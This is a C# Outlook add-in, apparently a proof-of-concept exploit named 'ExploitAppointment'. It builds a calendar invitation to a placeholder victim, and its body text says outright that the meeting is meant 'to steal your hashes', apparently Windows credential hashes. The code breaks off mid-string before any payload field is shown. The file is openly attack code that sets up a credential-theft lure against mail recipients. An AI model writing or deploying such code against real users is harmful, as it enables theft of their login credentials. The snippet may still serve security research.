using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Xml.Linq; using Outlook = Microsoft.Office.Interop.Outlook; using Office = Microsoft.Office.Core; using MsgKit; namespace ExploitAppointment { public partial class ThisAddIn { private void ThisAddIn_Startup(object sender, System.EventArgs e) { using (var appointment = new Appointment( new Sender("hello@tonyharris.io", "Tony Harris"), new Representing("hello@tonyarris.io", "Tony Harris"), "This is a test subject")) { appointment.Recipients.AddTo("victim@victimdomain.xyz", "Victim"); appointment.Subject = "Let's hash this out"; appointment.Location = "Meeting room 1"; appointment.MeetingStart = DateTime.Now.Date; appointment.MeetingEnd = DateTime.Now.Date.AddDays(1).Date; appointment.AllDay = true; appointment.BodyText = "A quick meeting to steal your hashes"; appointment.BodyHtml = "
A quick meeting to steal your hashes